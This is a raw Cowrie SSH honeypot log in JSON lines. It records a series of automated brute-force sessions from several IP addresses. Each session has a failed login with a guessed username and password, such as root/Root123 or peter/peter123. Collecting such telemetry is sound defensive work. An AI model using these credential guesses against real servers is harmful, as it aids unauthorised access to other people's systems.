{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:34:57.083027Z","src_ip":"78.44.192.210","session":"5da1bfd71506","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lee","password":"123","message":"login attempt [lee/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:34:57.551570Z","src_ip":"78.44.192.210","session":"5da1bfd71506","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:34:58.663086Z","src_ip":"78.44.192.210","session":"5da1bfd71506","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.148.224.183","src_port":48340,"dst_ip":"159.203.135.109","dst_port":22,"session":"0ef80114497c","protocol":"ssh","message":"New connection: 186.148.224.183:48340 (159.203.135.109:22) [session: 0ef80114497c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:35:34.999654Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:35:35.006190Z","src_ip":"186.148.224.183","session":"0ef80114497c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:35:35.153749Z","src_ip":"186.148.224.183","session":"0ef80114497c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"webuser","password":"1234","message":"login attempt [webuser/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:35:35.769860Z","src_ip":"186.148.224.183","session":"0ef80114497c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:35:36.923996Z","src_ip":"186.148.224.183","session":"0ef80114497c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.12.80.170","src_port":53524,"dst_ip":"10.17.0.5","dst_port":22,"session":"a9858888355f","protocol":"ssh","message":"New connection: 198.12.80.170:53524 (10.17.0.5:22) [session: a9858888355f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:35:54.471087Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:35:54.481360Z","src_ip":"198.12.80.170","session":"a9858888355f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:35:54.521152Z","src_ip":"198.12.80.170","session":"a9858888355f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1991","message":"login attempt [root/1991] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:35:54.861206Z","src_ip":"198.12.80.170","session":"a9858888355f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:35:55.896084Z","src_ip":"198.12.80.170","session":"a9858888355f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"40.83.182.122","src_port":34728,"dst_ip":"10.17.0.5","dst_port":22,"session":"64d2f1350d0d","protocol":"ssh","message":"New connection: 40.83.182.122:34728 (10.17.0.5:22) [session: 64d2f1350d0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:36:15.060860Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:36:15.070767Z","src_ip":"40.83.182.122","session":"64d2f1350d0d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:36:15.148987Z","src_ip":"40.83.182.122","session":"64d2f1350d0d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"systemd","password":"Voidsetdownload.so","message":"login attempt [systemd/Voidsetdownload.so] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:36:15.492392Z","src_ip":"40.83.182.122","session":"64d2f1350d0d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:36:16.579171Z","src_ip":"40.83.182.122","session":"64d2f1350d0d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"78.44.192.210","src_port":50962,"dst_ip":"10.17.0.5","dst_port":22,"session":"f3bc4e4939f4","protocol":"ssh","message":"New connection: 78.44.192.210:50962 (10.17.0.5:22) [session: f3bc4e4939f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:36:36.654784Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:36:36.661216Z","src_ip":"78.44.192.210","session":"f3bc4e4939f4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:36:36.776234Z","src_ip":"78.44.192.210","session":"f3bc4e4939f4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sS123456","message":"login attempt [root/sS123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:36:37.250759Z","src_ip":"78.44.192.210","session":"f3bc4e4939f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:36:38.365248Z","src_ip":"78.44.192.210","session":"f3bc4e4939f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.12.80.170","src_port":56010,"dst_ip":"10.17.0.5","dst_port":22,"session":"ffd724265255","protocol":"ssh","message":"New connection: 198.12.80.170:56010 (10.17.0.5:22) [session: ffd724265255]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:37:15.462994Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:37:15.472950Z","src_ip":"198.12.80.170","session":"ffd724265255","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:37:15.492232Z","src_ip":"198.12.80.170","session":"ffd724265255","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"14141414","message":"login attempt [root/14141414] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:37:15.605627Z","src_ip":"198.12.80.170","session":"ffd724265255","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:37:16.637047Z","src_ip":"198.12.80.170","session":"ffd724265255","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"112.104.154.26","src_port":52152,"dst_ip":"10.17.0.5","dst_port":22,"session":"d73951b998ab","protocol":"ssh","message":"New connection: 112.104.154.26:52152 (10.17.0.5:22) [session: d73951b998ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:37:25.394493Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:37:25.398842Z","src_ip":"112.104.154.26","session":"d73951b998ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:37:25.601756Z","src_ip":"112.104.154.26","session":"d73951b998ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"peter","password":"peter123","message":"login attempt [peter/peter123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:37:26.433006Z","src_ip":"112.104.154.26","session":"d73951b998ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:37:27.636325Z","src_ip":"112.104.154.26","session":"d73951b998ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"40.83.182.122","src_port":38494,"dst_ip":"10.17.0.5","dst_port":22,"session":"c36b63b76561","protocol":"ssh","message":"New connection: 40.83.182.122:38494 (10.17.0.5:22) [session: c36b63b76561]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:37:53.566541Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:37:53.573730Z","src_ip":"40.83.182.122","session":"c36b63b76561","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:37:53.650339Z","src_ip":"40.83.182.122","session":"c36b63b76561","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Root123","message":"login attempt [root/Root123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:37:53.986547Z","src_ip":"40.83.182.122","session":"c36b63b76561","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:37:55.071560Z","src_ip":"40.83.182.122","session":"c36b63b76561","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"78.44.192.210","src_port":53464,"dst_ip":"10.17.0.5","dst_port":22,"session":"3ff7d17b35a4","protocol":"ssh","message":"New connection: 78.44.192.210:53464 (10.17.0.5:22) [session: 3ff7d17b35a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:38:15.477188Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:38:15.482343Z","src_ip":"78.44.192.210","session":"3ff7d17b35a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:38:15.591500Z","src_ip":"78.44.192.210","session":"3ff7d17b35a4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asdf;lkj","message":"login attempt [root/asdf;lkj] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:38:16.066988Z","src_ip":"78.44.192.210","session":"3ff7d17b35a4","protocol":"ssh"}
